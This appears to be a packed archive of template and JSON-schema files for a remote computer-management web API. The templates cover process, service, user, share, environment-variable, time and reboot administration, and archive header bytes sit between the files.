			"parent_path": { "_type": "string" }
		}, 
		
		"windows": {
			"_type": "array",
			"_element": {
				"thread": { "_type": "string" },
				"title": { "_type": "string" },
				"visible": { "_type": "bool" },
			}
		},
		
		"dlls": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"path": { "_type": "string" },
				"version": { "_type": "string" },
				"desc": { "_type": "string" },
				"base": { "_type": "string" },
				"size": { "_type": "string" }
			}
		},
		
		"services": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"display": { "_type": "string" },
				"type": { "_type": "string" },
				"what": { "_type": "string" },
				"user": { "_type": "string" },
				"interactive": { "_type": "bool" },
				"start": { "_type": "string" },
				"status": { "_type": "string" },
				"errctrl": { "_type": "string" },
				"accept": { "_type": "string" },
				"procid": { "_type": "number" },
				"path": { "_type": "string" },
				"descr": { "_type": "string" },
				"group": { "_type": "string" }
			}
		},
		
		"threads": {
			"_type": "array",
			"_element": {
				"id": { "_type": "number" },
				"started": { "_type": "string" },
				"stopped": { "_type": "string" },
				"priority": { "_type": "number" },
				"base": { "_type": "number" },
				"state": { "_type": "string" },
				"wait": { "_type": "string" },
				"time": { "_type": "string" },
				"timek": { "_type": "string" },
				"timeu": { "_type": "string" },
				"user": { "_type": "string" },
			}
		},
		
		"priorities": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"value": { "_type": "number" }
			}
		},

		"openfiles": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" }
			}
		},

		"regkeys": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" }
			}
		}
		
	},
	"lang": {}
}
c>4api\compman\processes.jsonG8<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// Check for sort parameter
	if not REQ.SORT
		set REQ.SORT = "ha"
	endif

	// list the processes
	action "proclist"	
	usemacro ERRORHANDLER()

?>{"result": {

	"processes": [
	    <?if PROCESSES
	    	usemacro CommaInit()
			enum PROCESSES
				usemacro CommaDo()?>
				{					    
					"id": <?usemacro NUMBER(PROC.ID)?>,
					"parent": <?usemacro NUMBER(PROC.PARENT)?>,
					"threads": <?usemacro NUMBER(PROC.THREADS)?>,
					"handles": <?usemacro NUMBER(PROC.HANDLES)?>,
					"depth": <?usemacro NUMBER(PROC.DEPTH)?>,
					"path": "#PROC.PATH#",
					"name": "#PROC.NAME#",
					"cpup": <?usemacro NUMBER(PROC.CPUP)?>,
					"ver": "#PROC.VER#",
					"desc": "#PROC.DESC#",
					"type": "#PROC.TYPE#",
					"user": "#PROC.USER#",
					"priority": <?usemacro NUMBER(PROC.PRIORITY)?>,
					"memory": <?usemacro NUMBER(PROC.MEMORY)?>,
					"memoryp": <?usemacro NUMBER(PROC.MEMORYP)?>,
					"pgfaults": <?usemacro NUMBER(PROC.PGFAULTS)?>,
					"wkset": <?usemacro NUMBER(PROC.WKSET)?>,
					"wksetmax": <?usemacro NUMBER(PROC.WKSETMAX)?>,
					"swap": <?usemacro NUMBER(PROC.SWAP)?>,
					"swapmax": <?usemacro NUMBER(PROC.SWAPMAX)?>,
					"timec": "#PROC.TIMEC#",
					"timek": <?usemacro NUMBER(PROC.TIMEK)?>,
					"timeu": <?usemacro NUMBER(PROC.TIMEU)?>,
					"time": <?usemacro NUMBER(PROC.TIME)?>,				
					"cmdline": "#PROC.CMDLINE#",
					"workdir": "#PROC.WORKDIR#"
				}
			<?next
		endif?>		
	]
		
},
"lang":{}
}ڻ8api\compman\processes.schema<.{
	"result": {

		"processes": {
			"_type": "array",
			"_element": {
				"id": { "_type": "number" },
				"parent": { "_type": "number" },
				"threads": { "_type": "number" },
				"handles": { "_type": "number" },
				"depth": { "_type": "number" },
				"path": { "_type": "string" },
				"name": { "_type": "string" },
				"cpup": { "_type": "number" },
				"ver": { "_type": "string" },
				"desc": { "_type": "string" },
				"type": { "_type": "string" },
				"user": { "_type": "string" },
				"priority": { "_type": "number" },
				"memory": { "_type": "number" },
				"memoryp": { "_type": "number" },
				"pgfaults": { "_type": "number" },
				"wkset": { "_type": "number" },
				"wksetmax": { "_type": "number" },
				"swap": { "_type": "number" },
				"swapmax": { "_type": "number" },
				"timec": { "_type": "string" },
				"timek": { "_type": "number" },
				"timeu": { "_type": "number" },
				"time": { "_type": "number" },
				"cmdline": { "_type": "string" },
				"workdir": { "_type": "string" }
			}
		}
		
	},
	"lang": {}
}
/?.api\compman\reboot.json&e<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Check for parameter
	usemacro CHECKREQPARAM(REQ.TYPE,"-ra-,-normal-,-emergency-,-cold-,-safe-","Reboot type","REBOOTTYPE")
	
	// Reboot
	action "reboot"
	usemacro ERRORHANDLER()

?>{
"result": "success",
"lang":{}
}
*E2api\compman\reboot.schema6K{
	"result": { "_type": "string" },
	"lang": {}
}
fF2api\compman\rebootat.jsonFe<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	
	if REQ.HTTPMETHOD == GET
		set REQ.OP = ""
	elseif REQ.HTTPMETHOD == PUT
		set REQ.OP = "set" 
	elseif REQ.HTTPMETHOD == DELETE
		set REQ.OP = "clr"
	endif
	
	//Scheduled reboot		
	action "rebootat"
	usemacro ERRORHANDLER()

?>{"result": {

	"year": "#REBOOTAT.DATE.Y#",
	"month": "#REBOOTAT.DATE.M#",
	"day": "#REBOOTAT.DATE.D#",
	"hour": "#REBOOTAT.TIME.H#",
	"minute": "#REBOOTAT.TIME.M#",
	"time": "#REBOOTAT.TIME#",
	"force": <?usemacro BOOL(REBOOTAT.FORCE)?>,
	"user": "#REBOOTAT.USER#",
	"addr": "#REBOOTAT.ADDR#",
	"type": "#REBOOTAT.TYPE#",
	"freq": "#REBOOTAT.FREQ#",
	"freqtext": "#REBOOTAT.FREQTEXT#",
	"enabled": <?if REBOOTAT.TIME?>true<?else?>false<?endif?>
		
},
"lang":{}
}
]6api\compman\rebootat.schema {
	"result": {

		"year": { "_type": "string" },
		"month": { "_type": "string" },
		"day": { "_type": "string" },
		"hour": { "_type": "string" },
		"minute": { "_type": "string" },
		"time": { "_type": "string" },
		"force": { "_type": "bool" },
		"user": { "_type": "string" },
		"addr": { "_type": "string" },
		"type": { "_type": "string" },
		"freq": { "_type": "string" },
		"freqtext": { "_type": "string" },
		"enabled": { "_type": "bool" }
				
	},
	"lang": {}
}
yf|2api\compman\services.json"Е<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// Check for sort parameter
	if not REQ.SORT
		set REQ.SORT = "na"
	endif

	// list the services
	action "svclist" REQ.WHAT = "svc"	
	usemacro ERRORHANDLER()

?>{"result": {

	"services": [
	    <?if SERVICES
	    	usemacro CommaInit()
			enum SERVICES
				usemacro CommaDo()?>
				{					    
					"name": "#SERVICE.NAME#",
					"display": "#SERVICE.DISPLAY#",
					"type": "#SERVICE.TYPE#",
					"what": "#SERVICE.WHAT#",
					"user": "#SERVICE.USER#",
					"interactive": <?usemacro BOOL(SERVICE.INTERACTIVE)?>,
					"start": "#SERVICE.START#",
					"status": "#SERVICE.STATUS#",
					"errctrl": "#SERVICE.ERRCTL#",
					"accept": "#SERVICE.ACCEPT#",
					"procid": <?usemacro NUMBER(SERVICE.PROCID)?>,
					"path": "#SERVICE.PATH#",
					"descr": "#SERVICE.DESCR#",
					"group": "#SERVICE.GROUP#"
				}
			<?next
		endif?>		
	],
	
	"pageinfo": [
		{				
			"count": <?usemacro NUMBER(PAGE.COUNT)?>,
			"home": <?usemacro NUMBER(PAGE.HOME)?>,
			"prev": <?usemacro NUMBER(PAGE.PREV)?>,
			"next": <?usemacro NUMBER(PAGE.NEXT)?>,
			"last": <?usemacro NUMBER(PAGE.LAST)?>,
			"current": <?usemacro NUMBER(PAGE.CURRENT)?>
		}
	],
	
	"pages": [<?			
		usemacro CommaInit()
		enum PAGES 
			usemacro CommaDo()?>
			{				
				"idx": <?usemacro NUMBER(PAGE.IDX)?>,
				"num": <?usemacro NUMBER(PAGE.NUM)?>,
				"str": "#PAGE.STR#"
			}
		<? next	?>							
	]
		
},
"lang":{}
}
f6api\compman\services.schemat
{
	"result": {

		"services": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"display": { "_type": "string" },
				"type": { "_type": "string" },
				"what": { "_type": "string" },
				"user": { "_type": "string" },
				"interactive": { "_type": "bool" },
				"start": { "_type": "string" },
				"status": { "_type": "string" },
				"errctrl": { "_type": "string" },
				"accept": { "_type": "string" },
				"procid": { "_type": "number" },
				"path": { "_type": "string" },
				"descr": { "_type": "string", "required": false },
				"group": { "_type": "string", "required": false }
			}
		},
			
		"pageinfo": {
			"_type": "array",
			"_element": {
				"count": { "_type": "number" },
				"home": { "_type": "number" },
				"prev": { "_type": "number" },
				"next": { "_type": "number" },
				"last": { "_type": "number" },
				"current": { "_type": "number" }
			}
		},
		
		"pages": {
			"_type": "array",
			"_element": {
				"idx": { "_type": "number" },
				"num": { "_type": "number" },
				"str": { "_type": "string" }
			}
		}
		
	},
	"lang": {}
}
:2api\compman\shutdown.json=2<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Shutdown
	action "shutdown"
	usemacro ERRORHANDLER()

?>{
"result": "success",
"lang":{}
}
P6api\compman\shutdown.schema6GY{
	"result": { "_type": "string" },
	"lang": {}
}
fF0api\compman\svcinfo.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// Check for service name
	if not REQ.SVC
		usemacro ERROR("Missing driver/service name.")
	endif
	
	// Check for any operations
	if REQ.HTTPMETHOD == "PUT"
		if REQ.CTRL
			if "start,stop,pause,continue,restart" hasnt REQ.CTRL
				usemacro ERROR("Bad control operation: " REQ.CTRL)
			endif
			if REQ.CTRL == "restart"
				// Control operation - restart
				action "svcctrl" REQ.CTRL = "stop"
				usemacro ERRORHANDLER()		
				action "svcctrl" REQ.CTRL = "start"
				usemacro ERRORHANDLER()		
			else
				// Control operation - start,stop,pause,continue
				action "svcctrl"
				usemacro ERRORHANDLER()		
			endif
		else
			// Update operation
			action "svcupdate"
			usemacro ERRORHANDLER()	
		endif
	elseif REQ.HTTPMETHOD == "DELETE"
		// end process action
		if not REQ.PID
			usemacro ERROR("Missing process id.")
		endif	
		action "prockill"
		usemacro ERRORHANDLER()	
	endif	
	
	// service details
	action "svcinfo"	
	usemacro ERRORHANDLER()

?>{"result": {

	"info": {
		"name": "#SERVICE.NAME#",
		"display": "#SERVICE.DISPLAY#",
		"type": "#SERVICE.TYPE#",
		"what": "#SERVICE.WHAT#",
		"user": "#SERVICE.USER#",
		"object": "#SERVICE.OBJECT#",
		"interactive": <?usemacro BOOL(SERVICE.INTERACTIVE)?>,
		"start": "#SERVICE.START#",
		"status": "#SERVICE.STATUS#",
		"errctrl": "#SERVICE.ERRCTL#",
		"accept": "#SERVICE.ACCEPT#",
		"procid": <?usemacro NUMBER(SERVICE.PROCID)?>,
		"path": "#SERVICE.PATH#",
		"descr": "#SERVICE.DESCR#",
		"group": "#SERVICE.GROUP#"
	},
	
	"dependencies": [
	    <?if DEPENDENCIES
	    	usemacro CommaInit()
			enum DEPENDENCIES
				usemacro CommaDo()?>
				{					    
					"name": "#DEPENDENCY.NAME#",
					"display": "#DEPENDENCY.DISPLAY#"
				}
			<?next
		endif?>		
	],
	
	"dependents": [
	    <?if DEPENDENTS
	    	usemacro CommaInit()
			enum DEPENDENTS
				usemacro CommaDo()?>
				{					    
					"name": "#DEPENDENT.NAME#",
					"display": "#DEPENDENT.DISPLAY#"
				}
			<?next
		endif?>		
	]
		
},
"lang":{}
}-4api\compman\svcinfo.schemaL{
	"result": {

		"info": {
			"name": { "_type": "string" },
			"display": { "_type": "string" },
			"type": { "_type": "string" },
			"what": { "_type": "string" },
			"user": { "_type": "string" },
			"object": { "_type": "string" },
			"interactive": { "_type": "bool" },
			"start": { "_type": "string" },
			"status": { "_type": "string" },
			"errctrl": { "_type": "string" },
			"accept": { "_type": "string" },
			"procid": { "_type": "number" },
			"path": { "_type": "string" },
			"descr": { "_type": "string", "required": false },
			"group": { "_type": "string", "required": false }
		}, 
		
		"dependencies": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"display": { "_type": "string" }
			}
		},
		
		"dependents": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"display": { "_type": "string" }
			}
		}
		
	},
	"lang": {}
}
f[w*api\compman\user.json=<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// Check for name
	usemacro CHECKREQPARAM.EXIST(REQ.NAME,"user name", "ADMIN.USERMANAGER.USER.NAME")
	
	if REQ.HTTPMETHOD == "GET" and REQ.PWD
	
		// change password
		if REQ.PWD
			set REQ.OP = "changepwd"
			action "useredit"
			usemacro ERRORHANDLER()
		endif
		
	elseif REQ.HTTPMETHOD == "GET"
	
		set REQ.OP = "edit"
		
	elseif REQ.HTTPMETHOD == "PUT"
		
		// rename
		if REQ.NEWNAME
			set REQ.OP = "rename"
			action "useredit"
			usemacro ERRORHANDLER()
			set REQ.NAME = REQ.NEWNAME
		endif
		 
		set REQ.OP = "update"
		
	elseif REQ.HTTPMETHOD == "POST"
	 
		set REQ.OP = "add"
		
	elseif REQ.HTTPMETHOD == "DELETE"
	
		set REQ.OP = "delete"
		
	endif 
	
	// useredit action
	action "useredit"
	usemacro ERRORHANDLER()

?>{"result": {

	"user": {
		"name": "#NAME#",
		"fullname": "#FULLNAME#",
		"comment": "#COMMENT#",		
		"mustchangepwd": <?usemacro BOOL(MUSTCHANGEPWD)?>,
		"cantchangepwd": <?usemacro BOOL(CANTCHANGEPWD)?>,
		"pwdnotexpires": <?usemacro BOOL(PWDNOTEXPIRES)?>,		
		"disabled": <?usemacro BOOL(DISABLED)?>,		
		"lockedout": <?usemacro BOOL(LOCKEDOUT)?>,
    "lockedout_disabled": <?usemacro DISABLED(LOCKEDOUT)?>,
		"homedir": "#HOMEDIR#",
		"homedrive": "#HOMEDRIVE#",
		"logonscript": "#LOGONSCRIPT#",
		"profile": "#PROFILE#",
		"lastlogon": <?usemacro FORMAT.DTML(LASTLOGON)?>,
		"lastlogoff": <?usemacro FORMAT.DTML(LASTLOGOFF)?>,
		"accexpire": <?usemacro FORMAT.DTML(ACCEXPIRE)?>,
		"pwdchanged": <?usemacro FORMAT.DTML(PWDCHANGED)?>,
		"pwdchanged_ago": <?usemacro FORMAT.AGO(PWDCHANGED)?>,
		"badpwcount": <?usemacro NUMBER(BADPWCOUNT)?>,
		"logoncount": <?usemacro NUMBER(LOGONCOUNT)?>
	}
		
},
"lang":{}
}
'.api\compman\user.schema=C{
	"result": {

		"user": {
			"name": { "_type": "string" },
			"fullname": { "_type": "string" },
			"comment": { "_type": "string" },
			"mustchangepwd": { "_type": "bool" },
			"cantchangepwd": { "_type": "bool" },
			"pwdnotexpires": { "_type": "bool" },		
			"disabled": { "_type": "bool" },		
			"lockedout": { "_type": "bool" },
			"homedir": { "_type": "string" },
			"homedrive": { "_type": "string" },
			"logonscript": { "_type": "string" },
			"profile": { "_type": "string" },
			"lastlogon": { "_type": "string" },
			"lastlogoff": { "_type": "string" },
			"accexpire": { "_type": "string" },
			"pwdchanged": { "_type": "string" },
			"pwdchanged_ago": { "_type": "string" },
			"badpwcount":  { "_type": "number" },
			"logoncount":  { "_type": "number" }
		}		
		
	},
	"lang": {}
}
ο6api\compman\usergroups.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// Check for name
	usemacro CHECKREQPARAM.EXIST(REQ.NAME,"User name","ADMIN.USERMANAGER.USER.NAME")
	
	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif

	// usereditgroups action
	action "usereditgroups"
	usemacro ERRORHANDLER()

?>{"result": {

	"user": {
		"name": "#NAME#",
		"errgroup": "#ERRGROUP#"
	},
	
	"member_local": [
	    <?if MEMBERL
	    	usemacro CommaInit()
			enum MEMBERL
				usemacro CommaDo()?>
				{					    
					"name": "#GROUP.NAME#"
				}
			<?next
		endif?>		
	],
	"nonmember_local": [
	    <?if NONMEMBERL
	    	usemacro CommaInit()
			enum NONMEMBERL
				usemacro CommaDo()?>
				{					    
					"name": "#GROUP.NAME#"
				}
			<?next
		endif?>		
	],
	"member_global": [
	    <?if MEMBERG
	    	usemacro CommaInit()
			enum MEMBERG
				usemacro CommaDo()?>
				{					    
					"name": "#GROUP.NAME#"
				}
			<?next
		endif?>		
	],
	"nonmember_global": [
	    <?if NONMEMBERG
	    	usemacro CommaInit()
			enum NONMEMBERG
				usemacro CommaDo()?>
				{					    
					"name": "#GROUP.NAME#"
				}
			<?next
		endif?>		
	]
	
		
},
"lang":{}
}
YM:api\compman\usergroups.schemaA
.{
	"result": {

		"user": {
			"name": { "_type": "string" },
			"errgroup": { "_type": "string" }
		},		
		"member_local": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" }
			}
		},
		"nonmember_local": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" }
			}
		},
		"member_global": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" }
			}
		},
		"nonmember_global": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" }
			}
		}
		
	},
	"lang": {}
}
Mk,api\compman\users.jsonC<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// list the users
	action "userlist"	
	usemacro ERRORHANDLER()

?>{"result": {

	"users": [
	    <?if USERS
	    	usemacro CommaInit()
			enum USERS
				usemacro CommaDo()?>
				{					    
					"name": "#USER.NAME#",
					"fullname": "#USER.FULLNAME#",
					"comment": "#USER.COMMENT#",
					"disabled": <?usemacro BOOL(USER.DISABLED)?>
				}
			<?next
		endif?>		
	],
	
	"pageinfo": [
		{				
			"count": <?usemacro NUMBER(PAGE.COUNT)?>,
			"home": <?usemacro NUMBER(PAGE.HOME)?>,
			"prev": <?usemacro NUMBER(PAGE.PREV)?>,
			"next": <?usemacro NUMBER(PAGE.NEXT)?>,
			"last": <?usemacro NUMBER(PAGE.LAST)?>,
			"current": <?usemacro NUMBER(PAGE.CURRENT)?>
		}
	],
	
	"pages": [<?			
		usemacro CommaInit()
		enum PAGES 
			usemacro CommaDo()?>
			{				
				"idx": <?usemacro NUMBER(PAGE.IDX)?>,
				"num": <?usemacro NUMBER(PAGE.NUM)?>,
				"str": "#PAGE.STR#"
			}
		<? next	?>							
	]
		
},
"lang":{}
}a&0api\compman\users.schema{
	"result": {

		"users": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"fullname": { "_type": "string" },
				"comment": { "_type": "string" },
				"disabled": { "_type": "bool" }
			}
		},
			
		"pageinfo": {
			"_type": "array",
			"_element": {
				"count": { "_type": "number" },
				"home": { "_type": "number" },
				"prev": { "_type": "number" },
				"next": { "_type": "number" },
				"last": { "_type": "number" },
				"current": { "_type": "number" }
			}
		},
		
		"pages": {
			"_type": "array",
			"_element": {
				"idx": { "_type": "number" },
				"num": { "_type": "number" },
				"str": { "_type": "string" }
			}
		}
		
	},
	"lang": {}
}
G0api\compset\autopri.json\h?<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()

	// First check for any edit/new/delete actions
	if REQ.HTTPMETHOD == "PUT" or REQ.HTTPMETHOD == "POST"
		// create or edit
		if not REQ.NAME
			usemacro ERROR("Missing name for create/edit action.")
		elseif not REQ.PRIORITY
			usemacro ERROR("Missing priority for create/edit action.")
		endif
		
		action "cfgautopri" REQ.OP = "add"
		usemacro ERRORHANDLER()
	
	elseif REQ.HTTPMETHOD == "DELETE"
		// delete 
		if not REQ.NAME
			usemacro ERROR("Missing name for delete action.")
		endif
		
		action "cfgautopri" REQ.OP = "del"
		usemacro ERRORHANDLER()
	endif

	// get automatic priorities
	action "cfgautopri"	REQ.OP = "list"
	usemacro ERRORHANDLER()

?>{"result": {

	"rules": [
	    <?if RULES
	    	usemacro CommaInit()
	    	enum RULES
	    		usemacro CommaDo()?>
	    		{
					"name": "#RULE.NAME#",
					"priority": "#RULE.PRIORITY#",
					"affinity": "#RULE.AFFINITY#"
	    		}
	    	<?next
	    endif?>
	]
				
},
"lang":{}
}h
4api\compset\autopri.schemae{
	"result": {

		"rules": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"priority": { "_type": "string" },
				"affinity": { "_type": "string" }
			}
		}
		
	},
	"lang": {}
}
R{]Bapi\compset\autopri_formdata.jsonP<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()

	// get automatic priorities
	action "cfgautopri"	REQ.OP = "list"
	usemacro ERRORHANDLER()

?>{"result": {

	"priorities": [
	    <?if PRIORITIES
	    	usemacro CommaInit()
	    	enum PRIORITIES
	    		usemacro CommaDo()?>
	    		{
					"name": "#PRIORITY.NAME#",
					"value": "#PRIORITY.VALUE#"
	    		}
	    	<?next
	    endif?>
	],

	"cpus": [
	    <?if CPUS
	    	usemacro CommaInit()
	    	enum CPUS
	    		if CPU.PRESENT
		    		usemacro CommaDo()?>
		    		{
			    		"name": "#CPU.NUMBER#",
						"value": "#CPU.NUMBER#"
					}
	    		<?endif
	    	next
	    endif?>
	]
				
},
"lang":{}
}xbFapi\compset\autopri_formdata.schemaJw{
	"result": {

		"priorities": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"value": { "_type": "string" }
			}
		},
		"cpus": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"value": { "_type": "string" }			    
			}
		}
		
	},
	"lang": {}
}
0api\compset\envvars.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()

	// First check for any edit/new/delete actions
	if REQ.HTTPMETHOD == "PUT" or REQ.HTTPMETHOD == "POST"
		// create or edit
		if not REQ.NAME
			usemacro ERROR("Missing name for create/edit action.")
		elseif not REQ.VALUE
			usemacro ERROR("Missing value for create/edit action.")
		endif
		
		action "envset" REQ.TYPE = "system"
		usemacro ERRORHANDLER()
	
	elseif REQ.HTTPMETHOD == "DELETE"
		// delete 
		if not REQ.NAME
			usemacro ERROR("Missing name for delete action.")
		endif
		
		action "envdel" REQ.TYPE = "system"
		usemacro ERRORHANDLER()
	endif

	// Then list the variables
	action "envlist"	
	//usemacro ERRORHANDLER()

?>{"result": {

	"sysvars": [
	    <?if SYSENV
	    	usemacro CommaInit()
			enum SYSENV
				usemacro CommaDo()?>
				{					    
					"name": "#SYSENV.NAME#",
					"value": "#SYSENV.VALUE#"
				}
			<?next
		endif?>		
	],
	
	"usrvars": [
	    <?if USRENV
	    	usemacro CommaInit()
			enum USRENV
				usemacro CommaDo()?>
				{					    
					"name": "#USRENV.NAME#",
					"value": "#USRENV.VALUE#"
				}
			<?next
		endif?>		
	]
		
},
"lang":{}
}'4api\compset\envvars.schemaC+{
	"result": {

		"sysvars": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"value": { "_type": "string" }
			}
		},
		"usrvars": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"value": { "_type": "string" }
			}
		}
		
	},
	"lang": {}
}
R,api\compset\share.json;<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()

	// check for required params
	if not REQ.SHARE
		usemacro ERROR("Missing share name.")
	endif
	
	// delete share
	if REQ.HTTPMETHOD == "DELETE"
		if REQ.USER or REQ.FILEID
			action "sharekick"
			usemacro ERRORHANDLER()
		elseif
			action "sharedel"
			usemacro ERRORHANDLER()
		endif
	endif

	// list the shares
	action "shareinfo"	
	usemacro ERRORHANDLER()

?>{"result": {

	"share": {
		"name": "#SHARE.NAME#",
		"path": "#SHARE.PATH#",
		"type": "#SHARE.TYPE#",
		"comment": "#SHARE.COMMENT#",
		"users": #SHARE.USERS#,
		"usersmax": <?if SHARE.USERSMAX?>#SHARE.USERSMAX#<?else?>-1<?endif?>,
		"filesno": #SHARE.FILES#,
		
		"connections": [
		    <?if CONNS
		    	usemacro CommaInit()
		    	enum CONNS
		    		usemacro CommaDo()?>
		    		{
						"computer": "#CONN.COMPUTER#",
						"user": "#CONN.USER#",
						"time": "#CONN.TIME#",		    	
						"files": #CONN.FILES#		    	
		    		}
		    	<?next
		    endif?>
		],
		
		"files": [
		    <?if FILES
		    	usemacro CommaInit()
		    	enum FILES
		    		usemacro CommaDo()?>
		    		{
						"id": "#FILE.ID#",
						"name": "#FILE.NAME#",
						"path": "#FILE.PATH#",
						"user": "#FILE.USER#",		    	
						"locks": #FILE.LOCKS#		    	
		    		}
		    	<?next
		    endif?>
		],
		
		"acls": [
		    <?if ACLS
		    	usemacro CommaInit()
		    	enum ACLS
		    		usemacro CommaDo()?>
		    		{
						"type": "#ACL.TYPE#",
						"user": "#ACL.USER#",
						"apply": "#ACL.APPLY#",		    	
						"flags": "#ACL.FLAGS#"		    	
		    		}
		    	<?next
		    endif?>
		]
		
	}
		
},
"lang":{}
}T͗0api\compset\share.schemau{
	"result": {

		"share": {
			"name": { "_type": "string" },
			"path": { "_type": "string" },
			"type": { "_type": "string" },
			"comment": { "_type": "string" },
			"users": { "_type": "number" },
			"usersmax": { "_type": "number" },
			"filesno": { "_type": "number" },
			
			"connections": {
				"_type": "array",
				"_element": {
					"computer": { "_type": "string" },
					"user": { "_type": "string" },
					"time": { "_type": "string" },
					"files": { "_type": "number" }
				}
			},
			
			"files": {
				"_type": "array",
				"_element": {
					"id": { "_type": "string" },
					"name": { "_type": "string" },
					"path": { "_type": "string" },
					"user": { "_type": "string" },
					"locks": { "_type": "number" }
				}
			},
			
			"acls": { 
				"_type": "array",
				"_element": {
					"type": { "_type": "string" },
					"user": { "_type": "string" },
					"apply": { "_type": "string" },
					"flags": { "_type": "string" }
				}
			}
		}
		
	},
	"lang": {}
}
7>4api\compset\sharelist.jsonSBח<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()

	// delete share
	if REQ.HTTPMETHOD == "DELETE"
		
		// check for required params
		if not REQ.SHARE
			usemacro ERROR("Missing share name.")
		endif
		
		action "sharedel"
		usemacro ERRORHANDLER()
		
	endif

	// list the shares
	action "sharelist"	
	usemacro ERRORHANDLER()

?>{"result": {

	"shares": [
	    <?if SHARES
	    	usemacro CommaInit()
			enum SHARES
				usemacro CommaDo()?>
				{					    
					"share": "#SHARE.NAME#",
					"path": "#SHARE.PATH#",
					"type": "#SHARE.TYPE#",
					"comment": "#SHARE.COMMENT#",
					"users": #SHARE.USERS#,
					"usersmax": <?if SHARE.USERSMAX?>#SHARE.USERSMAX#<?else?>-1<?endif?>
				}
			<?next
		endif?>		
	]
		
},
"lang":{}
}8api\compset\sharelist.schemaN%0{
	"result": {

		"shares": {
			"_type": "array",
			"_element": {
				"share": { "_type": "string" },
				"path": { "_type": "string" },
				"type": { "_type": "string" },
				"comment": { "_type": "string" },
				"users": { "_type": "number" },
				"usersmax": { "_type": "number" }
			}
		}
		
	},
	"lang": {}
}
,/*api\compset\time.jsonL<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()

	// First check if we want to set the time
	if REQ.HTTPMETHOD == "PUT"
		if not REQ.YEAR or not REQ.MONTH or not REQ.DAY or not REQ.HOUR or not REQ.MINUTE or not REQ.SECOND
			usemacro ERROR("Missing parameters for set time action.")
		endif
		
		set REQ.DATEY=REQ.YEAR 
		set REQ.DATEM=REQ.MONTH 
		set REQ.DATED=REQ.DAY 
		set REQ.TIMEH=REQ.HOUR 
		set REQ.TIMEM=REQ.MINUTE 
		set REQ.TIMES=REQ.SECOND
		
		action "timeset" 
		usemacro ERRORHANDLER()
	endif

	// get time
	action "timeget"
	usemacro ERRORHANDLER()

?>{"result": {

	"time": {
		"datetime": "#DATETIME#",
		"year": "#DATE.Y#",
		"month": "#DATE.M#",
		"day": "#DATE.D#",
		"hour": "#TIME.H#",
		"minute": "#TIME.M#",
		"second": "#TIME.S#"
	}
				
},
"lang":{}
}F.api\compset\time.schema:s{
	"result": {

		"time": {
			"datetime": { "_type": "string" },
			"year": { "_type": "string" },
			"month": { "_type": "string" },
			"day": { "_type": "string" },
			"hour": { "_type": "string" },
			"minute": { "_type": "string" },
			"second": { "_type": "string" }
		}
		
	},
	"lang": {}
}
0api\compset\virtmem.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// set vmem 
	if REQ.HTTPMETHOD == "PUT"
		action "vmemset"
		usemacro ERRORHANDLER()
	endif

	// get virtual memory info
	action "vmeminfo"	
	usemacro ERRORHANDLER()

?>{"result": {

	"swapglobal": {
		"size": <?usemacro NUMBER(SWAP.SIZE)?>,
		"recd": <?usemacro NUMBER(SWAP.RECD)?>,
		"low": <?usemacro NUMBER(SWAP.LOW)?>,
		"min": <?usemacro NUMBER(SWAP.MIN)?>,
		"max": <?usemacro NUMBER(SWAP.MAX)?>	    
	},
				
	"swapdrives": [
